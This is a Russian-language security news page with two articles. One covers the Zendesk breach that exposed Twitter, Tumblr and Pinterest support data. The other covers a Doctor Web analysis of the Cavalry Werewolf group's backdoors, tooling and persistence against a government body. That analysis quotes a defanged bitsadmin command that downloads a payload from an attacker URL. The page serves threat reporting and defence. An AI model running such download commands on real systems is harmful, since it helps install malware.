Взломан облачный провайдер Zendesk

Twitter, Tumblr и Pinterest пострадали из-за взлома компании Zendesk

Защитная система компании Zendesk на этой неделе была взломана хакерами, о чем сообщил исполнительный директор фирмы Миккел Сване. Zendesk предлагает облачные сервисы и занимается хостингом крупных порталов служб поддержки, принадлежащих многим предприятиям. Взлом поставил под угрозу сохранность личной информации некоторых клиентов Zendesk.


«Нам стало известно, что в нашу систему проник хакер. Мы сразу же закрыли дыру в системе безопасности и закрыли доступ для злоумышленника. Проводится расследование, в процессе которого выяснилось, что взломщик получил доступ к информации, которую на наших серверах хранили три крупных клиента», – пишет Сване.

Zendesk не называет имена пострадавших клиентов, которые, по словам провайдера, ничего толком не знали о взломе. Однако совсем скоро стало известно, что среди пострадавших значатся Twitter и Tumblr. Эти компании уже разослали своим пользователям соответствующие предупреждения. По словам Twitter, во время взлома серверов Zendesk не были похищены пароли клиентов, однако кое-какая информация все-таки была украдена (контактные данные: номера телефонов, никнеймы, адреса почты). Twitter не думает, что пострадавшим стоит менять пароли или удалять учетные записи. Напомним, что это уже второй взлом Twitter за год (месяц назад было скомпрометировано 250 тысяч учетных записей абонентов Twitter).

Tumblr также разослал своим абонентам предупреждения, в которых говорится, что письма с вопросами, отправленные в службу технической поддержки сервиса, могли быть похищены. Таким образом, злоумышленники получили электронные адреса и другую информацию о клиентах блог-платформы.

Предполагается, что украденные данные могли быть использованы в социальной инженерии. Исходя из этого, Tumblr посоветовал пользователям опасаться потенциальных фишинговых атак, замаскированных под официальные сообщения Tumblr.

Третьим клиентом Zendesk, пострадавшим от взлома, оказался сервис Pinterest. Компания также сообщила об этом происшествии своим клиентам. По словам Pinterest, злоумышленники похитили имена клиентов, их электронные адреса и прочую информацию, которую они могли отправлять компании. Руководство сервиса также посоветовало использовать более надежные пароли, так как иногда хакеры легко могут угадать пароль по логину.

На этой неделе от взлома пострадали также такие компании как Jeep и Burger King. Хакеры получили доступ к их учетным записям в Twitter.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru